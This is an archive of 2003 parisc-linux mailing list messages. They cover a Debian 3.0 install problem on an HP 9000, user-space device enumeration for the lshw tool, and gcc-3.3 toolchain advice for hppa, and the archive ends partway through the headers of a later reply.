<META content=3D"MSHTML 5.50.4807.2300" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>My name is Willian I am from Brazil, I =
have a=20
personal computer RISC HP 9000 I Model D 370&nbsp; <BR>I am trying to =
install=20
DEBIAN 3.0, but I am having some problems in the hour of the =
installation.&nbsp;=20
<BR>I inserted the CD in the unit and I pressed the key space, I typed: =
bo=20
8/16/5.2.0 and he began for the cd, he asked something on IPL I answered =
Y and=20
later he asked me something about memory, I placed my memory and he/she =
asked=20
something on vmlinux 32 or 64, I changed for 64, later I pressed " b=20
"&nbsp;&nbsp; <BR>he brought me the following=20
answer:&nbsp;&nbsp;<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;<BR>&nbsp;</FONT><FONT=
=20
face=3DArial size=3D2>Command line for kernel :&nbsp; =
ramdisk_size=3D2663046 root =3D=20
/dev/ram console=3Dtty0 TERM=3Dvt102 =
palo_kernel=3D0/vmlinux64</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>selected kernel: /vmlinux64 from =
partition=20
0</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>selected ramdisk:/ramdisk from =
partition=20
0</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>loading ramdisk 2663046 <A=20
href=3D"mailto:bytes@2fd65000">bytes@2fd65000</A>...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Branching to kernel entry point =
0x0010000. If this=20
the last</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Message you, you may need to switch you =
console .=20
this is a common symptom -- search the FAQ and mailing at=20
parisc-linux.org</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>what could be?&nbsp; <BR>Thank =
you&nbsp;&nbsp;=20
<BR>Willian</FONT></DIV></BODY></HTML>

------=_NextPart_000_006E_01C2E880.D0202260--



From - Thu Nov 08 21:27:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] enumerating devices from user space
Date: Wed, 12 Mar 2003 16:48:52 +0000
Lines: 63
Approved: news@gmane.org
Message-ID: <20030312164852.GT16414@parcelfarce.linux.theplanet.co.uk>
References: <20030312173235.A4332@typhon.pilat.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622277 22785 80.91.229.3 (22 Nov 2014 02:11:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Lyonel Vincent <vincentl@ec-lyon.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 12 09:49:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 453D94875
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Mar 2003 09:49:38 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.12)
	id 18t9PQ-0003KH-00; Wed, 12 Mar 2003 16:48:52 +0000
Content-Disposition: inline
In-Reply-To: <20030312173235.A4332@typhon.pilat.fr>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17907

On Wed, Mar 12, 2003 at 05:32:36PM +0100, Lyonel Vincent wrote:
> I'm currently implementing a small tool called lshw (you can find it on
> Freshmeat) that enumerates installed devices on a machine and reports them
> as a device tree (text, HTML and XML).

That's cool.

> For now it knows about DMI, PCI busses, SCSI, IDE and PCMCIA and I would
> like to port it to PA-RISC Linux. I already get some very basic info from
> /proc/cpuinfo.
> Does anyone know how I can access the device tree as seen by the kernel?
> (much like HP-UX's ioscan does and what is shown in dmesg)

You can look in /var/log/dmesg.  For example...

Found devices:
1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0xf, 0xb
2. Dino PCI Bridge (13) at 0xf2000000 [8/0], versions 0x680, 0x0, 0xa,  additional addresses: 0xf2800000 
3. Raven U/L2 Dino PS/2 Port (10) at 0xf2001000 [8/1], versions 0x6, 0x0, 0x96
4. Raven U/L2 Dino RS-232 (10) at 0xf2003000 [8/3], versions 0x6, 0x0, 0x8c
5. Raven U/L2 Core FW-SCSI (4) at 0xf200c000 [8/12], versions 0x3b, 0x0, 0x89
6. Raven U/L2 Core BA (11) at 0xffd00000 [8/16], versions 0x3b, 0x0, 0x81,  additional addresses: 0xffd0c000 0xffc00000 
7. Raven U/L2 Core Centronics (10) at 0xffd02000 [8/16/0], versions 0x3b, 0x0, 0x74,  additional addresses: 0xffd01000 0xffd03000 
8. Raven U/L2 Core Audio (10) at 0xffd04000 [8/16/1], versions 0x3b, 0x4, 0x7b
9. Raven U/L2 Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x3b, 0x0, 0x8c
10. Raven U/L2 Core SCSI (10) at 0xffd06000 [8/16/5], versions 0x3b, 0x0, 0x82
11. Raven U/L2 Core LAN (802.3) (10) at 0xffd07000 [8/16/6], versions 0x3b, 0x0, 0x8a
12. Raven U/L2 Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions 0x3b, 0x0, 0x84
13. Raven U/L2 Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions 0x3b, 0x0, 0x84
14. Raven Backplane Wax BA (11) at 0xffe00000 [8/20], versions 0x17, 0x0, 0x8e
15. Raven Backplane Wax HIL (10) at 0xffe01000 [8/20/1], versions 0x17, 0x0, 0x73
16. Raven Backplane RS-232 (10) at 0xffe02000 [8/20/2], versions 0x17, 0x0, 0x8c
17. Raven Backplane Wax EISA BA (11) at 0xfc000000 [8/20/5], versions 0x17, 0x0, 0x90,  additional addresses: 0xffc88000 0xfc00000b 
18. Gecko GSC Core Graphics (10) at 0xfa000000 [8/24], versions 0x16, 0x0, 0x85,  additional addresses: 0xf0026000 
19. U2-IOA BC GSC+ Port (7) at 0xf203f000 [8/63], versions 0x501, 0x1, 0xc
20. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0xf, 0xb
21. U2-IOA BC GSC+ Port (7) at 0xf103f000 [10/63], versions 0x501, 0x1, 0xc
22. Raven U 240 (9000/780/C240) (0) at 0xfffa0000 [32], versions 0x599, 0x0, 0x4
23. Memory (1) at 0xfffb1000 [49], versions 0x6f, 0x0, 0x9

The numbers in [] tell you what the tree looks like.  In this example, we
have 4 top-level devices: #1, #20, #22 & #23.

> I've tried digging in /proc without much success... is there a way to get
> this information from user space? PPC Linux exposes the device tree in
> /proc for example. A mechanism similar to /proc/bus/pci/devices (machine-
> parseable text) would be great, too.

In 2.5, this information's available via sysfs.  I don't think we'll
expose it in /proc.

> PS: I noticed that /proc/iomem lists 00000000-000009ff as "PDC data (Page
> Zero)", is there a chance I can find what I need there? (I dd-ed it from
> /dev/mem but I can't say if it contains useful data...)

No, you need to actually make firmware calls and you can't do that from
user mode.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lyonel Vincent <vincentl@ec-lyon.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] enumerating devices from user space
Date: Wed, 12 Mar 2003 18:30:00 +0100
Lines: 84
Approved: news@gmane.org
Message-ID: <20030312183000.A4426@typhon.pilat.fr>
References: <20030312173235.A4332@typhon.pilat.fr> <20030312164852.GT16414@parcelfarce.linux.theplanet.co.uk>
Reply-To: vincentl@ec-lyon.fr
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622277 22786 80.91.229.3 (22 Nov 2014 02:11:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 12 10:30:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from typhon.homeip.net (voltaire-102-1-10.net1.nerim.net [213.41.188.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA0CE4834
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Mar 2003 10:30:01 -0700 (MST)
Original-Received: by typhon.homeip.net (Postfix, from userid 500)
	id AF25D214311; Wed, 12 Mar 2003 18:30:00 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030312164852.GT16414@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Wed, Mar 12, 2003 at 04:48:52PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17908

many thanks for the prompt answer

well... that's exactly the answer I didn't want to ear ;o)
lshw can't reasonably assume that /var/log/dmesg exists and is correct (or
even dmesg) and dig into the trash.

My kernel programming skills are extremely limited (not to say inexistent) but
how difficult would it be to expose this information to user space through
/proc? (AFAICT, we already have PA-RISC specific files like /proc/bus/runway)
A simplistic format like <hwpath>\t<type> <instance> <hversion> <sversion> etc.
would do.
Do you think it'd be useful to make that kind of information available to user-
space? (besides lshw of course ;op) If it's the case I'll try to do my best...

cheers,
lv.

On Wed, Mar 12, 2003 at 04:48:52PM +0000, Matthew Wilcox wrote:
> On Wed, Mar 12, 2003 at 05:32:36PM +0100, Lyonel Vincent wrote:
> > I'm currently implementing a small tool called lshw (you can find it on
> > Freshmeat) that enumerates installed devices on a machine and reports them
> > as a device tree (text, HTML and XML).
> 
> That's cool.
> 
> > For now it knows about DMI, PCI busses, SCSI, IDE and PCMCIA and I would
> > like to port it to PA-RISC Linux. I already get some very basic info from
> > /proc/cpuinfo.
> > Does anyone know how I can access the device tree as seen by the kernel?
> > (much like HP-UX's ioscan does and what is shown in dmesg)
> 
> You can look in /var/log/dmesg.  For example...
> 
> Found devices:
> 1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0xf, 0xb
> 2. Dino PCI Bridge (13) at 0xf2000000 [8/0], versions 0x680, 0x0, 0xa,  additional addresses: 0xf2800000 
> 3. Raven U/L2 Dino PS/2 Port (10) at 0xf2001000 [8/1], versions 0x6, 0x0, 0x96
> 4. Raven U/L2 Dino RS-232 (10) at 0xf2003000 [8/3], versions 0x6, 0x0, 0x8c
> 5. Raven U/L2 Core FW-SCSI (4) at 0xf200c000 [8/12], versions 0x3b, 0x0, 0x89
> 6. Raven U/L2 Core BA (11) at 0xffd00000 [8/16], versions 0x3b, 0x0, 0x81,  additional addresses: 0xffd0c000 0xffc00000 
> 7. Raven U/L2 Core Centronics (10) at 0xffd02000 [8/16/0], versions 0x3b, 0x0, 0x74,  additional addresses: 0xffd01000 0xffd03000 
> 8. Raven U/L2 Core Audio (10) at 0xffd04000 [8/16/1], versions 0x3b, 0x4, 0x7b
> 9. Raven U/L2 Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x3b, 0x0, 0x8c
> 10. Raven U/L2 Core SCSI (10) at 0xffd06000 [8/16/5], versions 0x3b, 0x0, 0x82
> 11. Raven U/L2 Core LAN (802.3) (10) at 0xffd07000 [8/16/6], versions 0x3b, 0x0, 0x8a
> 12. Raven U/L2 Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions 0x3b, 0x0, 0x84
> 13. Raven U/L2 Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions 0x3b, 0x0, 0x84
> 14. Raven Backplane Wax BA (11) at 0xffe00000 [8/20], versions 0x17, 0x0, 0x8e
> 15. Raven Backplane Wax HIL (10) at 0xffe01000 [8/20/1], versions 0x17, 0x0, 0x73
> 16. Raven Backplane RS-232 (10) at 0xffe02000 [8/20/2], versions 0x17, 0x0, 0x8c
> 17. Raven Backplane Wax EISA BA (11) at 0xfc000000 [8/20/5], versions 0x17, 0x0, 0x90,  additional addresses: 0xffc88000 0xfc00000b 
> 18. Gecko GSC Core Graphics (10) at 0xfa000000 [8/24], versions 0x16, 0x0, 0x85,  additional addresses: 0xf0026000 
> 19. U2-IOA BC GSC+ Port (7) at 0xf203f000 [8/63], versions 0x501, 0x1, 0xc
> 20. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0xf, 0xb
> 21. U2-IOA BC GSC+ Port (7) at 0xf103f000 [10/63], versions 0x501, 0x1, 0xc
> 22. Raven U 240 (9000/780/C240) (0) at 0xfffa0000 [32], versions 0x599, 0x0, 0x4
> 23. Memory (1) at 0xfffb1000 [49], versions 0x6f, 0x0, 0x9
> 
> The numbers in [] tell you what the tree looks like.  In this example, we
> have 4 top-level devices: #1, #20, #22 & #23.
> 
> > I've tried digging in /proc without much success... is there a way to get
> > this information from user space? PPC Linux exposes the device tree in
> > /proc for example. A mechanism similar to /proc/bus/pci/devices (machine-
> > parseable text) would be great, too.
> 
> In 2.5, this information's available via sysfs.  I don't think we'll
> expose it in /proc.
> 
> > PS: I noticed that /proc/iomem lists 00000000-000009ff as "PDC data (Page
> > Zero)", is there a chance I can find what I need there? (I dd-ed it from
> > /dev/mem but I can't say if it contains useful data...)
> 
> No, you need to actually make firmware calls and you can't do that from
> user mode.
> 
> -- 
> "It's not Hollywood.  War is real, war is primarily not about defeat or
> victory, it is about death.  I've seen thousands and thousands of dead bodies.
> Do you think I want to have an academic debate on this subject?" -- Robert Fisk

-- 
The software said it requires Windows 2000 or better, so I installed Linux.


From - Thu Nov 08 21:27:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Wed, 12 Mar 2003 18:33:04 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <3E68A24B00000CBD__37693.7048895799$1416622277$gmane$org@ocpmta6.freegates.net>
References: <20030302045936.GS11363@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622277 22791 80.91.229.3 (22 Nov 2014 02:11:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:17 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <tausq@debian.org>,
	"Matthias Klose" <doko@cs.tu-berlin.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 12 10:33:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id F061B4834
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Mar 2003 10:33:13 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18tA6D-0001iL-00; Wed, 12 Mar 2003 18:33:05 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 12 Mar 2003 18:33:04 +0100
In-Reply-To: <20030302045936.GS11363@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17909

Hi Randolph,

>-- Original Message --
>From: Randolph Chung <tausq@debian.org>
>To: Matthias Klose <doko@cs.tu-berlin.de>
>Cc: debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
>	parisc-linux@lists.parisc-linux.org
>Reply-To: Randolph Chung <tausq@debian.org>
>Subject: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
>Date: Sat, 1 Mar 2003 20:59:36 -0800
>
>
>In reference to a message from Matthias Klose, dated Mar 01:
>> Matthias Klose writes:
>> > AFAIK the transition from 3.2 to 3.3 requires recompilation of C++
>> > code due to the changed exception handling (now DWARF2 based). As
>> > libstdc++ in 3.2 and 3.2 have the same soname, how to handle it?
>> > Currently 3.2 is in unstable only. Would you want to start the
>> > recompilation before 3.2 based binaries go to testing?
>> > 
>> > The packaging for 3.3 can be found in the Debian CVS.
>> 
>> You can get test packages from
>> 	http://ftp-master.debian.org/~doko/gcc-3.3/
>
>well.... this is not looking good. after installing these in a freshly
>built sarge chroot, all c++ programs stop working (well, i've only tried
>two -- apt and fakeroot)
>
>(btw, small packaging detail, but the libstdc++*-dev package above
>cannot be installed cleanly because it overwrites things in the current
>3.2 package)
>

Sorry in advance if I am annoying.

I am looking to rebuild gcc-3.3 64bits to rebuild the last kernel 2.4 to
conitnue my investigation about smp(64bits) [which failled to boot on a N4000
when compile d with gcc-3.2 get from unofficial-debs].

To do I download the very last src from Matthias Klose who advise me to my
question:
>> Do you have some idea how to rebuild it from dpkg sources?
>> (I would like avoid the toolchain procedure if possible)

>look at debian/rules.defs for the support to build a cross compiler.
>It was submitted some weeks ago. I didn't check this myself yet.

I have a look but it is not clear to me; can you help me in more details?
(ps: I already install the last Matthias gcc-3.3 dpkg 32bits;
according to your <http://lists.parisc-linux.org/pipermail/parisc-linux/2003-February/019170.html>
it is a prerequisite)

Thanks in advance,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Wed, 12 Mar 2003 09:35:05 -0800
Lines: 14
Approved: news@gmane.org
Message-ID: <20030312173505.GY11363__15342.6428944387$1416622278$gmane$org@tausq.org>
References: <20030302045936.GS11363@tausq.org> <3E68A24B00000CBD@ocpmta6.freegates.net>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622278 22794 80.91.229.3 (22 Nov 2014 02:11:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:18 +0000 (UTC)
Cc: Matthias Klose <doko@cs.tu-berlin.de>,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 12 10:38:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 53BA64834
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Mar 2003 10:38:39 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 62CD2CD294; Wed, 12 Mar 2003 09:35:05 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3E68A24B00000CBD@ocpmta6.freegates.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17910

> I am looking to rebuild gcc-3.3 64bits to rebuild the last kernel 2.4 to
> conitnue my investigation about smp(64bits) [which failled to boot on a N4000
> when compile d with gcc-3.2 get from unofficial-debs].

If you are working on 64-bit, I would advise staying with 3.0.4 for
now.... no one has tested 3.3 hppa64-linux-gcc at all, so it will just
be introducing more unknowns into the problem.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Wed, 12 Mar 2003 18:53:57 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <3E68A24B00000CC9__40640.0853106335$1416622278$gmane$org@ocpmta6.freegates.net>
References: <20030312173505.GY11363@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622278 22798 80.91.229.3 (22 Nov 2014 02:11:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:18 +0000 (UTC)
Cc: "Matthias Klose" <doko@cs.tu-berlin.de>,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 12 10:54:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA1E94834
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Mar 2003 10:54:07 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18tAQQ-0002Ih-00; Wed, 12 Mar 2003 18:53:58 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 12 Mar 2003 18:53:57 +0100
In-Reply-To: <20030312173505.GY11363@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17911

>-- Original Message --
>Date: Wed, 12 Mar 2003 09:35:05 -0800
>From: Randolph Chung <tausq@debian.org>
>To: Joel Soete <jsoe0708@tiscali.be>
>Cc: Matthias Klose <doko@cs.tu-berlin.de>,
>	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
>	parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
>Reply-To: Randolph Chung <tausq@debian.org>
>
>
>> I am looking to rebuild gcc-3.3 64bits to rebuild the last kernel 2.4
to
>> conitnue my investigation about smp(64bits) [which failled to boot on
a
>N4000
>> when compile d with gcc-3.2 get from unofficial-debs].
>
>If you are working on 64-bit, I would advise staying with 3.0.4 for
>now.... no one has tested 3.3 hppa64-linux-gcc at all, so it will just
>be introducing more unknowns into the problem.
>
Ok I am gonna try to rebuild it with gcc-3.0.

Thanks for advise,
    Joel

---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bootp/tftpd :(
Date: Wed, 12 Mar 2003 19:57:53 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <878CDABC-54BC-11D7-A259-0030656F07A2@esiee.fr>
References: <200303121720.03452.trnepal@papuasia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v551)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622278 22805 80.91.229.3 (22 Nov 2014 02:11:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: trnepal <trnepal@papuasia.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 12 11:57:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E6424834
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Mar 2003 11:57:55 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 1BFDB49C48; Wed, 12 Mar 2003 19:57:54 +0100 (CET)
